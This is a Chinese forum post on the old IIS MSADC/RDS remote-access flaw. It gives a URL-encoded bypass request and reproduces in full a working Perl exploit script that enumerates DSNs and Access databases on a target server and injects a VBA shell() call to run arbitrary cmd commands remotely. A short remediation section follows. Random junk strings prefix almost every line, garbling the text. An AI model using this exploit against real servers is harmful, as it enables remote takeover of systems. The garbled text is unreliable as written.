IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
X2w)J?pv {UNH?2 涉及程序:
L G}{ibB Microsoft NT server
kR]P/4r q8 v iC| 描述:
rxCzPF 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
N:j7J :;?$5h*|` 详细:
?d')#WnC 如果你没有时间读详细内容的话,就删除:
+ NlnK6T/ c:\Program Files\Common Files\System\Msadc\msadcs.dll
F>;Wbk&[| 有关的安全问题就没有了。
U)}]Z@I- d)%WaM%V 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
SX4*804a_ A#U! KX 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Koa9W>! 关于利用ODBC远程漏洞的描述,请参看:
xd Z$|{, Z)!8a$M~ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i'Y8-}) %ms%0% 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
U-|]A\`)I http://www.microsoft.com/security/bulletins/MS99-025faq.asp ly0R'4j \ ;hj lRQ\ 这里不再论述。
F^UtZG+ :e<jD_.X 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
MU<(O} 6?Ncgj
&@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Om3Ayk} 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
InP E_ >?g@Nt8 !Tzo&G #将下面这段保存为txt文件,然后: "perl -x 文件名"
&/@V$'G= :!gNOR6Lh #!perl
ZmK=8iN9J #
tE*BZXBlm # MSADC/RDS 'usage' (aka exploit) script
1tuvJ+`{ #
bWSN]]e1# # by rain.forest.puppy
8SRR)O[)} #
n 0!8)Sth # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Ek+R # beta test and find errors!
s$Vl">9# Ni~IY#
' use Socket; use Getopt::Std;
QM,#:m1o getopts("e:vd:h:XR", \%args);
8/e-?2l EQ%o oAb8 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
<G})$f'x2 DrRK Sc(u9 if (!defined $args{h} && !defined $args{R}) {
=Rd`"]Mnfb print qq~
JCWTB`EB> Usage: msadc.pl -h <host> { -d <delay> -X -v }
"@ >6<(Ki -h <host> = host you want to scan (ip or domain)
+pd,gG?dW -d <seconds> = delay between calls, default 1 second
X[tt'5 -X = dump Index Server path table, if available
s-p)^B -v = verbose
~yv7[`+Tgg -e = external dictionary file for step 5
b]u$!W Xhe& "rM Or a -R will resume a command session
Emlj,c<?j v l"8Oi*r^ ~; exit;}
GRZz@bAO?$ \ `Hp/D1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
sn"((BsO< if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Ny^ 1#R if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!73y(Y%TE if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
*g5bdQ:Av~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&ALnE:F if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
hHJiGVJ=V "'4 if (!defined $args{R}){ $ret = &has_msadc;
j6%W+;{/pj die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Q-x>yau" EN m%(G$ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^s~)"2 g . "cmd /c ";
"GMU~594 $in=<STDIN>; chomp $in;
ZP";B^J $command="cmd /c " . $in ;
Ow0>qzTg EP:`l if (defined $args{R}) {&load; exit;}
a4:GGzt 0ix(1`Z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u(vZOf]jL &try_btcustmr;
r1!1u7dr
t ]V"P
&;m print "\nStep 2: Trying to make our own DSN...";
l7`{ O/hN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&'6/H/J HZ3;2k print "\nStep 3: Trying known DSNs...";
S:1[CNL; &known_dsn;
77\+V 0cF u\LNJo| B print "\nStep 4: Trying known .mdbs...";
1$Hou
&known_mdb;
Q4XlYgIV2A oh5'Isb$ if (defined $args{e}){
4DL;Y print "\nStep 5: Trying dictionary of DSN names...";
} c G)$E &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Q/o,2R |>Q>d8|k print "Sorry Charley...maybe next time?\n";
~n=DI/AJ@- exit;
2u.0AG ^ITF* ##############################################################################
Sk{skvd; rHKO13WF sub sendraw { # ripped and modded from whisker
d(IJ-qJN sleep($delay); # it's a DoS on the server! At least on mine...
il^;2`]& my ($pstr)=@_;
("U<@~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
v_KO xV:<` die("Socket problems\n");
_[rFnyC+0V if(connect(S,pack "SnA4x8",2,80,$target)){
{
^o.f select(S); $|=1;
l~J d>9DwY print $pstr; my @in=<S>;
X}( s(6 select(STDOUT); close(S);
'$FF/|{ return @in;
;nSF\X(;{ } else { die("Can't connect...\n"); }}
py;p7y!gxA |d0ZB_ci ##############################################################################
,I"T9k-^ V$ZclV2:Ih sub make_header { # make the HTTP request
N.*)-O
my $msadc=<<EOT
Kq[4I[+R POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
I>?oVY6M@u User-Agent: ACTIVEDATA
gnJ8tuS Host: $ip
AM+5_'S, Content-Length: $clen
kQkc+sGJf Connection: Keep-Alive
36.,:!%p }MaY:PMA ADCClientVersion:01.06
O2fq9%lk Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Avw=*ZW ///Lg{ie --!ADM!ROX!YOUR!WORLD!
:M(uP e=D Content-Type: application/x-varg
Sp>g77@ Content-Length: $reqlen
A8f.h5~9 n])#<0 EOT
Wt/;iq" ; $msadc=~s/\n/\r\n/g;
2E }vuw=c return $msadc;}
z~Q=OPCnY aL1%BGlmZ< ##############################################################################
-
lX4; z&;8pZr sub make_req { # make the RDS request
exq5Z c% my ($switch, $p1, $p2)=@_;
mx^Ga=:
? my $req=""; my $t1, $t2, $query, $dsn;
\3hA_{ w T'p L&@,Q if ($switch==1){ # this is the btcustmr.mdb query
=~
Uhr6Q $query="Select * from Customers where City=" . make_shell();
I|rb"bG $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
i"&FW&W $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
MtkU]XKGT &nIu^,. elsif ($switch==2){ # this is general make table query
vAX ( 3 $query="create table AZZ (B int, C varchar(10))";
uZ6krI $dsn="$p1";}
C8K2F5c5 _mSefPl elsif ($switch==3){ # this is general exploit table query
ko9}?qs $query="select * from AZZ where C=" . make_shell();
8>YF}\D V $dsn="$p1";}
1<ag=D`F_" ^+x?@$rq elsif ($switch==4){ # attempt to hork file info from index server
zT>!xGTu7~ $query="select path from scope()";
6*i** $dsn="Provider=MSIDXS;";}
ET.jjV c)#P}Ai elsif ($switch==5){ # bad query
l5-[a $query="select";
!<M
eWo $dsn="$p1";}
o*Qa*<n ?=&; A $t1= make_unicode($query);
{KgA
V $t2= make_unicode($dsn);
2 GRI<M $req = "\x02\x00\x03\x00";
rpKZ>S|7+) $req.= "\x08\x00" . pack ("S1", length($t1));
nJe}U# $req.= "\x00\x00" . $t1 ;
=zFROB\ $req.= "\x08\x00" . pack ("S1", length($t2));
AJ7w_'u=@ $req.= "\x00\x00" . $t2 ;
SES.&e|!6 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
?4':~;~ return $req;}
!JA;0[;l= Cu7{>" ##############################################################################
zamMlmls^ h'"m,(a
sub make_shell { # this makes the shell() statement
-'Z Gc8) return "'|shell(\"$command\")|'";}
.I:rb~& CNN9a7 ##############################################################################
sqKx?r72 wqo:gW_ sub make_unicode { # quick little function to convert to unicode
VKttJok1 my ($in)=@_; my $out;
m?(8T|i for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
D;+/bll7 return $out;}
IQJ"B6U) B[L m}B[ ##############################################################################
]LB_ @# WJq>%<# sub rdo_success { # checks for RDO return success (this is kludge)
c9+G
Qp my (@in) = @_; my $base=content_start(@in);
j*>J1M3E if($in[$base]=~/multipart\/mixed/){
[1rQ'FBB^1 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
u=0O3-\h return 0;}
{JfQQP&FV &3SS.&g4W ##############################################################################
IHTimT? *
BM|luYL sub make_dsn { # this makes a DSN for us
Qxz[ my @drives=("c","d","e","f");
h
/ print "\nMaking DSN: ";
_r-LX" foreach $drive (@drives) {
w*`:v$ print "$drive: ";
:9QU\{2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
g`pq*D "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|mtW) . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ZxvH1qx8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
h:fiUCw return 0 if $2 eq "404"; # not found/doesn't exist
vx9!KWy} if($2 eq "200") {
4AJ] qu foreach $line (@results) {
D_lRYLA+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
dWd%>9}
} return 0;}
;g0s1nz rMwa6ZO'm; ##############################################################################
XmQ;Roe n=!T(Hk sub verify_exists {
yX!fj\R my ($page)=@_;
8xB-cE my @results=sendraw("GET $page HTTP/1.0\n\n");
u[)X="-e# return $results[0];}
dWn6-es WX4sTxJK ##############################################################################
TOHz3= >SXSrXyYX sub try_btcustmr {
k>ErDv8 my @drives=("c","d","e","f");
_9>,9aL my @dirs=("winnt","winnt35","winnt351","win","windows");
Hf('BagBL /MtmO$. foreach $dir (@dirs) {
[~N;d9H+*1 print "$dir -> "; # fun status so you can see progress
<);q,|eh2 foreach $drive (@drives) {
Wx0i_HFR print "$drive: "; # ditto
]0D- g2!|A $reqlen=length( make_req(1,$drive,$dir) ) - 28;
O=A R`r# u $reqlenlen=length( "$reqlen" );
g}%ODa !H $clen= 206 + $reqlenlen + $reqlen;
<ww D*t :[<Y#EX. my @results=sendraw(make_header() . make_req(1,$drive,$dir));
O}"oz3H if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
yx8G9SO? else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
PMP{|yEx" Zbnxs.i! ##############################################################################
*}vvS^ c0 ~IZ-:?+S^ sub odbc_error {
o(ow{S@=4 my (@in)=@_; my $base;
s*GZOz my $base = content_start(@in);
\kQ)fk]^ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]~;*9`: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LtB5;ByeQ0 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?d%)R*3IX $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pwN2Nzski return $in[$base+4].$in[$base+5].$in[$base+6];}
Yh95W print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
'bx}[
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<PSz`)SN $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
2mEqfy M!6Fnj ##############################################################################
_4>DuklH, ;"&?Okz sub verbose {
%<kfW&_>w my ($in)=@_;
{jD?obs return if !$verbose;
|it*w\+M print STDOUT "\n$in\n";}
LGL;3EI +c_AAMe ##############################################################################
2xN7lfu1RB /D"T\KNWr sub save {
1te^dh:Vp my ($p1, $p2, $p3, $p4)=@_;
7=fM}sk open(OUT, ">rds.save") || print "Problem saving parameters...\n";
"\*)KH`C print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
$R}C(k
;? close OUT;}
CRo'r/G -`4]u!A ##############################################################################
8
o}5QOW k1D7=&i sub load {
bZ_&AfcB my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
vGyQ306 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
b_Y+XXb< @p=<IN>; close(IN);
9SeGkwec?$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
# m|el@) $target= inet_aton($ip) || die("inet_aton problems");
Z kw-a print "Resuming to $ip ...";
Mzg'$]N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
MNs<yQ9I' if($p[1]==1) {
ai;!Q%B#Q $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
l]|&j`'O $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
bpsyO>lx/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
G5qsnTxUJ if (rdo_success(@results)){print "Success!\n";}
r^"o!,H9q else { print "failed\n"; verbose(odbc_error(@results));}}
:fmV||Q elsif ($p[1]==3){
MLr L"I" if(run_query("$p[3]")){
t'F$/mx. print "Success!\n";} else { print "failed\n"; }}
>IQ&*Bb elsif ($p[1]==4){
#xmiUN,| if(run_query($drvst . "$p[3]")){
^(&2 print "Success!\n"; } else { print "failed\n"; }}
|6NvByc, exit;}
:vi %7 ]/!*^;cY( ##############################################################################
L^e*_q2d:> 2>"{El|PbN sub create_table {
HV!P]82Pa my ($in)=@_;
.:H'9QJg $reqlen=length( make_req(2,$in,"") ) - 28;
%;4#?.W8 $reqlenlen=length( "$reqlen" );
_3
[E$Lg $clen= 206 + $reqlenlen + $reqlen;
wSjy31 my @results=sendraw(make_header() . make_req(2,$in,""));
s;h`n$ return 1 if rdo_success(@results);
!& c%!* my $temp= odbc_error(@results); verbose($temp);
PE7V1U#$o, return 1 if $temp=~/Table 'AZZ' already exists/;
'0 Ys`Qo return 0;}
+]t9kr >kAJS?? ##############################################################################
=O8 YU)# #~j $J sub known_dsn {
QqL?? p-S> # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~oOv/1v}, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
`*CoVx~fk "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
b5g^{bzwu "banner", "banners", "ads", "ADCDemo", "ADCTest");
\nOV2(FAT r;f\^hVy foreach $dSn (@dsns) {
blz#M # print ".";
&h[)nD next if (!is_access("DSN=$dSn"));
G%gdI3h1Z
if(create_table("DSN=$dSn")){
;\"Nekd| print "$dSn successful\n";
@uC-dXA" if(run_query("DSN=$dSn")){
3znhpHO) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
M/V"Ke"N print "Something's borked. Use verbose next time\n";}}} print "\n";}
F-Z>WC{+ [9?]|4 ##############################################################################
iP7KM*ks e7G>'K sub is_access {
R7Tl1!,h my ($in)=@_;
:%Z)u:~': $reqlen=length( make_req(5,$in,"") ) - 28;
N0fE*xo $reqlenlen=length( "$reqlen" );
;2 o{6 $clen= 206 + $reqlenlen + $reqlen;
JF&$' my @results=sendraw(make_header() . make_req(5,$in,""));
ve#[LBOC8 my $temp= odbc_error(@results);
dd=5`Bo9Yh verbose($temp); return 1 if ($temp=~/Microsoft Access/);
]Gl_L7u` return 0;}
^R\5'9K! e /XOmv ##############################################################################
Z[+Qf3j}o6 ,[m4+6G5 sub run_query {
9LQy0Gx my ($in)=@_;
oi3Ix7 $reqlen=length( make_req(3,$in,"") ) - 28;
pfim*\' $reqlenlen=length( "$reqlen" );
dkEnc $clen= 206 + $reqlenlen + $reqlen;
]H:K$nmX my @results=sendraw(make_header() . make_req(3,$in,""));
uJ*|SSN~ return 1 if rdo_success(@results);
(I`<; my $temp= odbc_error(@results); verbose($temp);
hy"p8j7_ return 0;}
Vfw +m1sS I |D]NY^ ##############################################################################
a(o[ bH.|; iEFS>kL8e sub known_mdb {
8HO)",+I my @drives=("c","d","e","f","g");
zJ0'KHF}o my @dirs=("winnt","winnt35","winnt351","win","windows");
8/34{2048 my $dir, $drive, $mdb;
nDC5/xB
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
qmnCa&C9 gvZLW!={ # this is sparse, because I don't know of many
qfY=!|O my @sysmdbs=( "\\catroot\\icatalog.mdb",
/|e"0;{ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
/=OSGIJzm "\\system32\\certmdb.mdb",
b!37:V\#} "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
X>jwjRK
$ q33!X!br my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
r52,f%nlm "\\cfusion\\cfapps\\forums\\forums_.mdb",
uP ?gGo "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[/t/694 "\\cfusion\\cfapps\\security\\realm_.mdb",
!as<UH"\ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
sEfGf. "\\cfusion\\database\\cfexamples.mdb",
gk6j5 $Y"< "\\cfusion\\database\\cfsnippets.mdb",
^?[^o\/@R "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Z42v@?R.!W "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Z@i MG "\\cfusion\\brighttiger\\database\\cleam.mdb",
%@M/)"k "\\cfusion\\database\\smpolicy.mdb",
: [vp.vw}/ "\\cfusion\\database\cypress.mdb",
h$zPQ""8 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
K[TMTn "\\website\\cgi-win\\dbsample.mdb",
&9] [~$ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
p|%Y\! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~h[lu^ZSi ); #these are just
G@Zi3 5 foreach $drive (@drives) {
S+OI?QS foreach $dir (@dirs){
")M.p_b[Z= foreach $mdb (@sysmdbs) {
u=
+ print ".";
f{z%P I[ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
{78*SR print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{ K0T%.G if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
uJp}9B60_ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
g9"_ BG } else { print "Something's borked. Use verbose next time\n"; }}}}}
1y8:tri>N tT#Q`cB foreach $drive (@drives) {
\ZDT=? foreach $mdb (@mdbs) {
.}y
Lz print ".";
#WpO9[b> if(create_table($drv . $drive . $dir . $mdb)){
A8eli=W print "\n" . $drive . $dir . $mdb . " successful\n";
qaGIU`}:$A if(run_query($drv . $drive . $dir . $mdb)){
fW}H##b print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
=v5(*$"pd" } else { print "Something's borked. Use verbose next time\n"; }}}}
^lMnwqx< }
(U dDp"/ f,a4LF ##############################################################################
o_*|`E Q}.y"|^ sub hork_idx {
|)JoxqR print "\nAttempting to dump Index Server tables...\n";
@x J^JcE print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
&Y=NUDt_ $reqlen=length( make_req(4,"","") ) - 28;
c`}X2u]k $reqlenlen=length( "$reqlen" );
=nL*/ $clen= 206 + $reqlenlen + $reqlen;
Gf]s?J^a my @results=sendraw2(make_header() . make_req(4,"",""));
|f}NO~CA if (rdo_success(@results)){
q(p0#Mk,E my $max=@results; my $c; my %d;
M2EN(Y_k0 for($c=19; $c<$max; $c++){
?Ru`ma\; $results[$c]=~s/\x00//g;
^{K8uN7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
<d5vVn $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
I!<v$ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
C[&&.w8Pm $d{"$1$2"}="";}
v_@_J!s foreach $c (keys %d){ print "$c\n"; }
6uXYZ.A } else {print "Index server doesn't seem to be installed.\n"; }}
IP;@unBl xA5$!Oq7 ##############################################################################
KE3
/<0Z 1=a}{)0h sub dsn_dict {
C;)
xjZiR open(IN, "<$args{e}") || die("Can't open external dictionary\n");
{n{}Y. while(<IN>){
dGteYt_F $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)|a9Z~#x next if (!is_access("DSN=$dSn"));
pOYtN1uN| if(create_table("DSN=$dSn")){
YPy))>Q>cK print "$dSn successful\n";
G([vy#p if(run_query("DSN=$dSn")){
fDqXM;a" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=GVhAzD3 print "Something's borked. Use verbose next time\n";}}}
$B?7u@>, print "\n"; close(IN);}
*pD;AU `^_: ##############################################################################
@Kr)$F D)sEAfvX sub sendraw2 { # ripped and modded from whisker
`j<tI6[e sleep($delay); # it's a DoS on the server! At least on mine...
?^vZ{B)&0E my ($pstr)=@_;
f,a %@WT socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Lb{D5k*XU die("Socket problems\n");
e,*[5xQ if(connect(S,pack "SnA4x8",2,80,$target)){
;2|H6IN" print "Connected. Getting data";
(*x"6)` open(OUT,">raw.out"); my @in;
k0IU~y% select(S); $|=1; print $pstr;
`~]ReJ!X% while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
fx-*') close(OUT); select(STDOUT); close(S); return @in;
Madaxx } else { die("Can't connect...\n"); }}
"'#Hh&Us &Kp+8D* ##############################################################################
_D4}[` S%fBt?-Cm sub content_start { # this will take in the server headers
7dJaWD:& my (@in)=@_; my $c;
B~#@fIL for ($c=1;$c<500;$c++) {
6 {Z\cwP)c if($in[$c] =~/^\x0d\x0a/){
x+e
_pb if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
yMkd|1 else { return $c+1; }}}
`7_LJ
\>I return -1;} # it should never get here actually
9p4U\hx ex+AT;o ##############################################################################
5Z,lWp2A /,UkT*+>! sub funky {
B,Brmn my (@in)=@_; my $error=odbc_error(@in);
;#i$0~lRl if($error=~/ADO could not find the specified provider/){
@GtZK print "\nServer returned an ADO miscofiguration message\nAborting.\n";
uP]o39b;V exit;}
rfi`Bp if($error=~/A Handler is required/){
bVHi3=0{ print "\nServer has custom handler filters (they most likely are patched)\n";
|pR$' HO exit;}
[;AcV73 if($error=~/specified Handler has denied Access/){
:a@z53X@M print "\nServer has custom handler filters (they most likely are patched)\n";
$SVGpEw exit;}}
)+,jal^7 9`{2 h$U ##############################################################################
}2,#[mM 6S[D"Q94 sub has_msadc {
PWu2;JF my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
gu[dw3L my $base=content_start(@results);
hY 2PV7"[; return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
n^02@Aw return 0;}
-(}1o9e\7 DZ.trtK ########################
0QqzS HjS^
nYl kG$8E 解决方案:
ONiI:Z>% 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
z44~5J] 2、移除web 目录: /msadc